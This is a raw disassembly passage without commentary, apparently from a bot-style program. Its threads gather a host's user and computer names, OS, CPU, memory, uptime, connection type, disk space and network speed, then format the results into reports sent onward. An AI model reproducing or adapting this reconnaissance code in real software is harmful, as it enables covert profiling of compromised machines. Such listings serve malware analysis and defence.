sub_4083AD	proc near		; DATA XREF: sub_4087C4+35o

var_750		= dword	ptr -750h
var_74C		= dword	ptr -74Ch
var_748		= dword	ptr -748h
var_744		= dword	ptr -744h
var_740		= dword	ptr -740h
var_73C		= dword	ptr -73Ch
var_738		= dword	ptr -738h
var_734		= byte ptr -734h
var_72C		= dword	ptr -72Ch
var_728		= dword	ptr -728h
var_714		= dword	ptr -714h
var_710		= dword	ptr -710h
var_70C		= dword	ptr -70Ch
var_708		= byte ptr -708h
var_6F0		= dword	ptr -6F0h
var_6EC		= dword	ptr -6ECh
var_6E8		= dword	ptr -6E8h
var_6E4		= dword	ptr -6E4h
var_6E0		= byte ptr -6E0h
var_6D0		= dword	ptr -6D0h
var_6CC		= dword	ptr -6CCh
var_6C8		= byte ptr -6C8h
var_524		= dword	ptr -524h
var_520		= dword	ptr -520h
var_51C		= dword	ptr -51Ch
var_518		= dword	ptr -518h
var_514		= dword	ptr -514h
var_510		= dword	ptr -510h
var_50C		= byte ptr -50Ch
var_48C		= dword	ptr -48Ch
var_488		= dword	ptr -488h
var_484		= dword	ptr -484h
var_480		= dword	ptr -480h
var_47C		= byte ptr -47Ch
var_409		= byte ptr -409h
var_408		= byte ptr -408h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 750h
		push	ebx
		push	esi
		push	edi
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_6CC]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		lea	eax, [ebp+var_734]
		push	eax
		call	ds:dword_4170C4	; GlobalMemoryStatus
		mov	eax, [ebp+var_72C]
		add	eax, 100000h
		shr	eax, 14h
		mov	[ebp+var_6F0], eax
		mov	eax, [ebp+var_728]
		add	eax, 100000h
		shr	eax, 14h
		mov	[ebp+var_738], eax
		call	sub_4092A4
		mov	[ebp+var_714], eax
		mov	eax, [ebp+var_714]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_6E8], eax
		mov	eax, [ebp+var_714]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	[ebp+var_524], eax
		mov	eax, [ebp+var_714]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		push	3Ch
		pop	ecx
		div	ecx
		mov	[ebp+var_6E4], eax
		mov	[ebp+var_8], 15h
		mov	[ebp+var_6D0], 10h
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_708]
		push	eax
		call	ds:dword_417018	; GetUserNameA
		lea	eax, [ebp+var_6D0]
		push	eax
		lea	eax, [ebp+var_6E0]
		push	eax
		call	ds:dword_417078	; GetComputerNameA
		mov	[ebp+var_520], 94h
		push	24h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_51C]
		rep stosd
		lea	eax, [ebp+var_520]
		push	eax
		call	ds:dword_417030	; GetVersionExA
		mov	[ebp+var_48C], offset a? ; "?"
		mov	[ebp+var_710], offset aNoSp ; "no SP"
		cmp	[ebp+var_51C], 4
		jnz	short loc_408522
		cmp	[ebp+var_518], 0
		jnz	short loc_408522
		cmp	[ebp+var_510], 1
		jnz	short loc_40850A
		mov	[ebp+var_48C], offset a95 ; "95"


loc_40850A:				; CODE XREF: sub_4083AD+151j
		cmp	[ebp+var_510], 2
		jnz	short loc_40851D
		mov	[ebp+var_48C], offset aNt ; "NT"


loc_40851D:				; CODE XREF: sub_4083AD+164j
		jmp	loc_4085B6
; ---------------------------------------------------------------------------


loc_408522:				; CODE XREF: sub_4083AD+13Fj
					; sub_4083AD+148j
		cmp	[ebp+var_51C], 4
		jnz	short loc_408540
		cmp	[ebp+var_518], 0Ah
		jnz	short loc_408540
		mov	[ebp+var_48C], offset a98 ; "98"
		jmp	short loc_4085B6
; ---------------------------------------------------------------------------


loc_408540:				; CODE XREF: sub_4083AD+17Cj
					; sub_4083AD+185j
		cmp	[ebp+var_51C], 4
		jnz	short loc_40855E
		cmp	[ebp+var_518], 5Ah
		jnz	short loc_40855E
		mov	[ebp+var_48C], offset aMe ; "ME"
		jmp	short loc_4085B6
; ---------------------------------------------------------------------------


loc_40855E:				; CODE XREF: sub_4083AD+19Aj
					; sub_4083AD+1A3j
		cmp	[ebp+var_51C], 5
		jnz	short loc_40857C
		cmp	[ebp+var_518], 0
		jnz	short loc_40857C
		mov	[ebp+var_48C], offset a2000 ; "2000"
		jmp	short loc_4085B6
; ---------------------------------------------------------------------------


loc_40857C:				; CODE XREF: sub_4083AD+1B8j
					; sub_4083AD+1C1j
		cmp	[ebp+var_51C], 5
		jnz	short loc_40859A
		cmp	[ebp+var_518], 1
		jnz	short loc_40859A
		mov	[ebp+var_48C], offset aXp ; "XP"
		jmp	short loc_4085B6
; ---------------------------------------------------------------------------


loc_40859A:				; CODE XREF: sub_4083AD+1D6j
					; sub_4083AD+1DFj
		cmp	[ebp+var_51C], 5
		jnz	short loc_4085B6
		cmp	[ebp+var_518], 2
		jnz	short loc_4085B6
		mov	[ebp+var_48C], offset a2003 ; "2003"


loc_4085B6:				; CODE XREF: sub_4083AD:loc_40851Dj
					; sub_4083AD+191j ...
		cmp	[ebp+var_510], 2
		jnz	short loc_4085D6
		movsx	eax, [ebp+var_50C]
		test	eax, eax
		jz	short loc_4085D6
		lea	eax, [ebp+var_50C]
		mov	[ebp+var_710], eax


loc_4085D6:				; CODE XREF: sub_4083AD+210j
					; sub_4083AD+21Bj
		call	sub_40435B
		test	eax, eax
		jz	short loc_4085EB
		mov	[ebp+var_744], offset aYes ; "Yes"
		jmp	short loc_4085F5
; ---------------------------------------------------------------------------


loc_4085EB:				; CODE XREF: sub_4083AD+230j
		mov	[ebp+var_744], offset aNo ; "No"


loc_4085F5:				; CODE XREF: sub_4083AD+23Cj
		mov	eax, [ebp+var_744]
		mov	[ebp+var_4], eax
		and	[ebp+var_47C], 0
		and	[ebp+var_409], 0
		xor	eax, eax
		cpuid
		mov	[ebp+var_488], ebx
		mov	[ebp+var_484], edx
		mov	[ebp+var_480], ecx
		lea	eax, [ebp+var_488]
		mov	[ebp+var_6EC], eax
		and	[ebp+var_70C], 0
		lea	eax, [ebp+var_70C]
		push	eax
		push	20019h
		push	0
		push	offset aHardwareDescri ; "HARDWARE\\DESCRIPTION\\System\\CentralProc"...
		push	80000002h
		call	ds:dword_417008	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_4086B3
		and	[ebp+var_73C], 0
		mov	[ebp+var_740], 80h
		lea	eax, [ebp+var_740]
		push	eax
		lea	eax, [ebp+var_488]
		push	eax
		lea	eax, [ebp+var_73C]
		push	eax
		push	0
		push	offset aProcessornames ; "ProcessorNameString"
		push	[ebp+var_70C]
		call	ds:dword_41700C	; RegQueryValueExA
		test	eax, eax
		jnz	short loc_4086A7
		push	1
		push	1
		lea	eax, [ebp+var_488]
		push	eax
		call	sub_407C2C
		add	esp, 0Ch


loc_4086A7:				; CODE XREF: sub_4083AD+2E5j
		push	[ebp+var_70C]
		call	ds:dword_417028	; RegCloseKey


loc_4086B3:				; CODE XREF: sub_4083AD+2A8j
		cmp	[ebp+var_6E4], 1
		jnz	short loc_4086C8
		mov	[ebp+var_748], offset byte_41DF00
		jmp	short loc_4086D2
; ---------------------------------------------------------------------------


loc_4086C8:				; CODE XREF: sub_4083AD+30Dj
		mov	[ebp+var_748], offset dword_4191F4


loc_4086D2:				; CODE XREF: sub_4083AD+319j
		cmp	[ebp+var_524], 1
		jnz	short loc_4086E7
		mov	[ebp+var_74C], offset byte_41DF00
		jmp	short loc_4086F1
; ---------------------------------------------------------------------------


loc_4086E7:				; CODE XREF: sub_4083AD+32Cj
		mov	[ebp+var_74C], offset dword_4191F4


loc_4086F1:				; CODE XREF: sub_4083AD+338j
		cmp	[ebp+var_6E8], 1
		jnz	short loc_408706
		mov	[ebp+var_750], offset byte_41DF00
		jmp	short loc_408710
; ---------------------------------------------------------------------------


loc_408706:				; CODE XREF: sub_4083AD+34Bj
		mov	[ebp+var_750], offset dword_4191F4


loc_408710:				; CODE XREF: sub_4083AD+357j
		lea	eax, [ebp+var_708]
		push	eax
		lea	eax, [ebp+var_6E0]
		push	eax
		push	[ebp+var_748]
		push	[ebp+var_6E4]
		push	[ebp+var_74C]
		push	[ebp+var_524]
		push	[ebp+var_750]
		push	[ebp+var_6E8]
		push	[ebp+var_4]
		push	[ebp+var_6F0]
		push	[ebp+var_738]
		call	sub_40821B
		push	eax
		push	[ebp+var_6EC]
		push	[ebp+var_514]
		push	[ebp+var_518]
		push	[ebp+var_51C]
		push	[ebp+var_710]
		push	[ebp+var_48C]
		push	offset dword_419104
		push	400h
		lea	eax, [ebp+var_408]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 54h
		lea	eax, [ebp+var_408]
		push	eax
		push	offset dword_418B64
		lea	eax, [ebp+var_6C8]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_6CC]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_4083AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4087C4	proc near		; CODE XREF: sub_40A9CF+1B9Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4087DE
		jmp	short locret_408806
; ---------------------------------------------------------------------------


loc_4087DE:				; CODE XREF: sub_4087C4+16j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aSysinfoThread ;	"Sysinfo thread"
		push	0
		push	[ebp+var_4]
		push	offset sub_4083AD
		call	sub_4095A4
		add	esp, 10h

locret_408806:				; CODE XREF: sub_4087C4+18j
		leave
		retn
sub_4087C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408808	proc near		; CODE XREF: sub_408887+Bp
					; sub_408887+19p ...

var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	[ebp+arg_0]
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_4105FB
		pop	ecx
		call	sub_416B64	; clock
		mov	[ebp+var_4], eax
		push	7D0h
		push	0
		push	offset a80	; "80"
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_8], eax
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		cmp	[ebp+var_8], 0
		jnz	short loc_40885F
		mov	eax, 3E8h
		jmp	short locret_408885
; ---------------------------------------------------------------------------


loc_40885F:				; CODE XREF: sub_408808+4Ej
		call	sub_416B64	; clock
		sub	eax, [ebp+var_4]
		cmp	eax, 3E8h
		jnb	short loc_40887B
		call	sub_416B64	; clock
		sub	eax, [ebp+var_4]
		mov	[ebp+var_2C], eax
		jmp	short loc_408882
; ---------------------------------------------------------------------------


loc_40887B:				; CODE XREF: sub_408808+64j
		mov	[ebp+var_2C], 3E8h


loc_408882:				; CODE XREF: sub_408808+71j
		mov	eax, [ebp+var_2C]

locret_408885:				; CODE XREF: sub_408808+55j
		leave
		retn
sub_408808	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408887	proc near		; CODE XREF: sub_408B30+1C2p
					; sub_40CA29+1E9p ...

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	offset dword_418F60
		call	sub_408808
		pop	ecx
		mov	[ebp+var_4], eax
		push	offset dword_418F6C
		call	sub_408808
		pop	ecx
		mov	[ebp+var_8], eax
		push	offset dword_418F84
		call	sub_408808
		pop	ecx
		mov	[ebp+var_C], eax
		push	offset dword_418F90
		call	sub_408808
		pop	ecx
		mov	[ebp+var_10], eax
		push	offset dword_418FA0
		call	sub_408808
		pop	ecx
		mov	[ebp+var_14], eax
		push	offset dword_418FB0
		call	sub_408808
		pop	ecx
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		add	eax, [ebp+var_14]
		add	eax, [ebp+var_18]
		xor	edx, edx
		push	6
		pop	ecx
		div	ecx
		leave
		retn
sub_408887	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4088FC	proc near		; CODE XREF: sub_408B30:loc_408D33p

var_438		= qword	ptr -438h
var_430		= dword	ptr -430h
var_42C		= qword	ptr -42Ch
var_424		= dword	ptr -424h
var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= byte ptr -418h
var_318		= dword	ptr -318h
var_314		= dword	ptr -314h
var_310		= dword	ptr -310h
var_30C		= dword	ptr -30Ch
var_308		= byte ptr -308h
var_208		= byte ptr -208h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 438h
		and	[ebp+var_8], 0
		jmp	short loc_408912
; ---------------------------------------------------------------------------


loc_40890B:				; CODE XREF: sub_4088FC+23j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_408912:				; CODE XREF: sub_4088FC+Dj
		mov	eax, [ebp+var_8]
		cmp	ds:off_418FC4[eax*4], 0
		jz	short loc_408921
		jmp	short loc_40890B
; ---------------------------------------------------------------------------


loc_408921:				; CODE XREF: sub_4088FC+21j
		mov	eax, [ebp+var_8]
		shr	eax, 1
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		jmp	short loc_408936
; ---------------------------------------------------------------------------


loc_40892F:				; CODE XREF: sub_4088FC+D6j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_408936:				; CODE XREF: sub_4088FC+31j
		cmp	[ebp+var_4], 3
		jnb	loc_408B2C
		mov	eax, [ebp+var_8]
		dec	eax
		push	eax
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_318], eax
		mov	eax, [ebp+var_318]
		shl	eax, 1
		push	ds:off_418FC4[eax*4]
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_318]
		shl	eax, 1
		push	ds:off_418FC8[eax*4]
		lea	eax, [ebp+var_308]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_308]
		push	eax
		call	sub_4105FB
		pop	ecx
		push	2710h
		push	0
		push	offset a80	; "80"
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_310], eax
		cmp	[ebp+var_310], 0
		jnz	short loc_4089D7
		jmp	loc_40892F
; ---------------------------------------------------------------------------


loc_4089D7:				; CODE XREF: sub_4088FC+D4j
		lea	eax, [ebp+var_418]
		push	eax
		lea	eax, [ebp+var_308]
		push	eax
		push	offset aGetSHttp1_0Hos ; "GET /%s HTTP/1.0\r\nHost: %s\r\n\r\n"
		push	200h
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 14h
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		push	[ebp+var_310]
		call	sub_4053BF
		add	esp, 0Ch
		and	[ebp+var_314], 0
		call	sub_416B64	; clock
		mov	[ebp+var_41C], eax
		and	[ebp+var_30C], 0


loc_408A3A:				; CODE XREF: sub_4088FC+1AFj
					; sub_4088FC+22Bj
		push	1388h
		push	200h
		lea	eax, [ebp+var_208]
		push	eax
		push	[ebp+var_310]
		call	sub_405443
		add	esp, 10h
		mov	[ebp+var_420], eax
		cmp	[ebp+var_420], 0
		jz	short loc_408A93
		cmp	[ebp+var_420], 0FFFFFFFFh
		jz	short loc_408A93
		call	sub_416B64	; clock
		sub	eax, [ebp+var_41C]
		cmp	eax, 1388h
		jnb	short loc_408A93
		cmp	[ebp+var_30C], 100000h
		jb	loc_408B15


loc_408A93:				; CODE XREF: sub_4088FC+16Aj
					; sub_4088FC+173j ...
		cmp	[ebp+var_30C], 2000h
		jnb	short loc_408AAD
		push	[ebp+var_310]
		call	sub_40538D
		pop	ecx
		jmp	short loc_408A3A
; ---------------------------------------------------------------------------


loc_408AAD:				; CODE XREF: sub_4088FC+1A1j
		mov	eax, [ebp+var_30C]
		mov	dword ptr [ebp+var_42C], eax
		and	dword ptr [ebp+var_42C+4], 0
		fild	[ebp+var_42C]
		fstp	[ebp+var_430]
		call	sub_416B64	; clock
		sub	eax, [ebp+var_41C]
		mov	dword ptr [ebp+var_438], eax
		and	dword ptr [ebp+var_438+4], 0
		fild	[ebp+var_438]
		fdiv	ds:flt_417270
		fdivr	[ebp+var_430]
		call	sub_416CF8	; _ftol
		mov	[ebp+var_424], eax
		push	[ebp+var_310]
		call	sub_40538D
		pop	ecx
		mov	eax, [ebp+var_424]
		jmp	short locret_408B2E
; ---------------------------------------------------------------------------


loc_408B15:				; CODE XREF: sub_4088FC+191j
		mov	eax, [ebp+var_30C]
		add	eax, [ebp+var_420]
		mov	[ebp+var_30C], eax
		jmp	loc_408A3A
; ---------------------------------------------------------------------------


loc_408B2C:				; CODE XREF: sub_4088FC+3Ej
		xor	eax, eax

locret_408B2E:				; CODE XREF: sub_4088FC+217j
		leave
		retn
sub_4088FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408B30	proc near		; DATA XREF: sub_408E4A+35o

var_A9C		= qword	ptr -0A9Ch
var_A7C		= qword	ptr -0A7Ch
var_A74		= dword	ptr -0A74h
var_A70		= dword	ptr -0A70h
var_A6C		= dword	ptr -0A6Ch
var_A68		= dword	ptr -0A68h
var_A64		= dword	ptr -0A64h
var_A60		= dword	ptr -0A60h
var_A5C		= byte ptr -0A5Ch
var_8B8		= dword	ptr -8B8h
var_8B4		= dword	ptr -8B4h
var_8B0		= byte ptr -8B0h
var_830		= dword	ptr -830h
var_82C		= dword	ptr -82Ch
var_828		= dword	ptr -828h
var_824		= dword	ptr -824h
var_820		= dword	ptr -820h
var_81C		= dword	ptr -81Ch
var_818		= dword	ptr -818h
var_814		= byte ptr -814h
var_414		= byte ptr -414h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A7Ch
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_A60]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	offset dword_41F018
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_824]
		push	eax
		push	0
		push	0
		push	offset dword_41F018
		call	ds:dword_41DF54	; getaddrinfo
		test	eax, eax
		jnz	short loc_408BBC
		push	1
		push	0
		push	0
		push	401h
		lea	eax, [ebp+var_414]
		push	eax
		mov	eax, [ebp+var_824]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+var_824]
		push	dword ptr [eax+18h]
		call	ds:dword_41DF58	; getnameinfo
		push	[ebp+var_824]
		call	ds:dword_41DF5C	; freeaddrinfo


loc_408BBC:				; CODE XREF: sub_408B30+54j
		call	sub_409318
		mov	[ebp+var_8B8], eax
		mov	eax, [ebp+var_8B8]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_830], eax
		mov	eax, [ebp+var_8B8]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	[ebp+var_820], eax
		mov	eax, [ebp+var_8B8]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		push	3Ch
		pop	ecx
		div	ecx
		mov	[ebp+var_82C], eax
		push	offset aUnknown_0 ; "Unknown"
		lea	eax, [ebp+var_8B0]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		push	offset aUnknown_0 ; "Unknown"
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		cmp	ds:dword_41DF4C, 0
		jz	short loc_408C9F
		push	0
		push	80h
		lea	eax, [ebp+var_8B0]
		push	eax
		lea	eax, [ebp+var_818]
		push	eax
		call	ds:dword_41DF4C	; InternetGetConnectedStateExA
		test	eax, eax
		jz	short loc_408C9F
		mov	eax, [ebp+var_818]
		and	eax, 1
		test	eax, eax
		jz	short loc_408C8F
		push	offset aModem	; "Modem"
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_408C9F
; ---------------------------------------------------------------------------


loc_408C8F:				; CODE XREF: sub_408B30+14Bj
		push	offset aLan	; "LAN"
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_408C9F:				; CODE XREF: sub_408B30+11Fj
					; sub_408B30+13Ej ...
		call	sub_4043E9
		test	eax, eax
		jz	short loc_408CB4
		mov	[ebp+var_A64], offset aYes ; "Yes"
		jmp	short loc_408CBE
; ---------------------------------------------------------------------------


loc_408CB4:				; CODE XREF: sub_408B30+176j
		mov	[ebp+var_A64], offset aNo ; "No"


loc_408CBE:				; CODE XREF: sub_408B30+182j
		mov	eax, [ebp+var_A64]
		mov	[ebp+var_8], eax
		call	sub_404279
		test	eax, eax
		jz	short loc_408CDC
		mov	[ebp+var_A68], offset aYes ; "Yes"
		jmp	short loc_408CE6
; ---------------------------------------------------------------------------


loc_408CDC:				; CODE XREF: sub_408B30+19Ej
		mov	[ebp+var_A68], offset aNo ; "No"


loc_408CE6:				; CODE XREF: sub_408B30+1AAj
		mov	eax, [ebp+var_A68]
		mov	[ebp+var_8B4], eax
		call	sub_408887
		mov	[ebp+var_828], eax
		mov	[ebp+var_81C], offset aBad ; "Bad"
		cmp	[ebp+var_828], 2EEh
		jnb	short loc_408D1D
		mov	[ebp+var_81C], offset aAvarage ; "Avarage"


loc_408D1D:				; CODE XREF: sub_408B30+1E1j
		cmp	[ebp+var_828], 1F4h
		jnb	short loc_408D33
		mov	[ebp+var_81C], offset aGood ; "Good"


loc_408D33:				; CODE XREF: sub_408B30+1F7j
		call	sub_4088FC
		mov	[ebp+var_4], eax
		cmp	[ebp+var_82C], 1
		jnz	short loc_408D50
		mov	[ebp+var_A6C], offset byte_41DF00
		jmp	short loc_408D5A
; ---------------------------------------------------------------------------


loc_408D50:				; CODE XREF: sub_408B30+212j
		mov	[ebp+var_A6C], offset dword_4191F4


loc_408D5A:				; CODE XREF: sub_408B30+21Ej
		cmp	[ebp+var_820], 1
		jnz	short loc_408D6F
		mov	[ebp+var_A70], offset byte_41DF00
		jmp	short loc_408D79
; ---------------------------------------------------------------------------


loc_408D6F:				; CODE XREF: sub_408B30+231j
		mov	[ebp+var_A70], offset dword_4191F4


loc_408D79:				; CODE XREF: sub_408B30+23Dj
		cmp	[ebp+var_830], 1
		jnz	short loc_408D8E
		mov	[ebp+var_A74], offset byte_41DF00
		jmp	short loc_408D98
; ---------------------------------------------------------------------------


loc_408D8E:				; CODE XREF: sub_408B30+250j
		mov	[ebp+var_A74], offset dword_4191F4


loc_408D98:				; CODE XREF: sub_408B30+25Cj
		push	[ebp+var_A6C]
		push	[ebp+var_82C]
		push	[ebp+var_A70]
		push	[ebp+var_820]
		push	[ebp+var_A74]
		push	[ebp+var_830]
		mov	eax, [ebp+var_4]
		mov	dword ptr [ebp+var_A7C], eax
		and	dword ptr [ebp+var_A7C+4], 0
		fild	[ebp+var_A7C]
		fdiv	ds:flt_417274
		push	ecx
		push	ecx
		fstp	[esp+0A9Ch+var_A9C]
		push	[ebp+var_828]
		push	[ebp+var_81C]
		push	[ebp+var_8B4]
		push	[ebp+var_8]
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8B0]
		push	eax
		lea	eax, [ebp+var_414]
		push	eax
		push	offset dword_419284
		push	400h
		lea	eax, [ebp+var_814]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 48h
		lea	eax, [ebp+var_814]
		push	eax
		push	offset dword_418B64
		lea	eax, [ebp+var_A5C]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_A60]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		leave
		retn	4
sub_408B30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408E4A	proc near		; CODE XREF: sub_40A9CF+1BD8p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_408E64
		jmp	short locret_408E8C
; ---------------------------------------------------------------------------


loc_408E64:				; CODE XREF: sub_408E4A+16j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aNetinfoThread ;	"Netinfo thread"
		push	0
		push	[ebp+var_4]
		push	offset sub_408B30
		call	sub_4095A4
		add	esp, 10h

locret_408E8C:				; CODE XREF: sub_408E4A+18j
		leave
		retn
sub_408E4A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408E8E	proc near		; CODE XREF: sub_40CA29+1C5p
					; sub_40CA29+2DAp ...

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		mov	eax, ds:dword_419398
		mov	[ebp+var_1C], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0


loc_408EA4:				; CODE XREF: sub_408E8E+95j
		lea	eax, [ebp+var_1C]
		push	eax
		call	ds:dword_4170CC	; GetDriveTypeA
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	short loc_408F14
		cmp	[ebp+var_10], 1
		jz	short loc_408F14
		cmp	[ebp+var_10], 5
		jz	short loc_408EE1
		cmp	[ebp+var_10], 2
		jz	short loc_408EE1
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	ds:dword_4170C8	; GetDiskFreeSpaceExA
		jmp	short loc_408EF1
; ---------------------------------------------------------------------------


loc_408EE1:				; CODE XREF: sub_408E8E+33j
					; sub_408E8E+39j
		push	8
		push	0
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch


loc_408EF1:				; CODE XREF: sub_408E8E+51j
		push	0
		push	100000h
		push	[ebp+var_20]
		push	[ebp+var_24]
		call	sub_416C90
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], edx
		mov	eax, [ebp+var_24]
		mov	ecx, [ebp+var_C]
		add	ecx, eax
		mov	[ebp+var_C], ecx


loc_408F14:				; CODE XREF: sub_408E8E+27j
					; sub_408E8E+2Dj
		mov	al, byte ptr [ebp+var_1C]
		add	al, 1
		mov	byte ptr [ebp+var_1C], al
		movsx	eax, byte ptr [ebp+var_1C]
		cmp	eax, 5Ah
		jnz	loc_408EA4
		mov	eax, [ebp+var_C]
		leave
		retn
sub_408E8E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408F2E	proc near		; DATA XREF: sub_4091E2+35o

var_5DC		= dword	ptr -5DCh
var_5D8		= dword	ptr -5D8h
var_5D4		= dword	ptr -5D4h
var_5D0		= byte ptr -5D0h
var_42C		= dword	ptr -42Ch
var_428		= dword	ptr -428h
var_424		= dword	ptr -424h
var_420		= byte ptr -420h
var_418		= dword	ptr -418h
var_414		= dword	ptr -414h
var_410		= dword	ptr -410h
var_40C		= byte ptr -40Ch
var_404		= byte ptr -404h
var_3EF		= byte ptr -3EFh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5DCh
		push	esi
		push	edi
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_5D4]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	5
		pop	ecx
		mov	esi, offset aDriveInformati ; "Drive information - "
		lea	edi, [ebp+var_404]
		rep movsd
		movsb
		mov	ecx, 0FAh
		xor	eax, eax
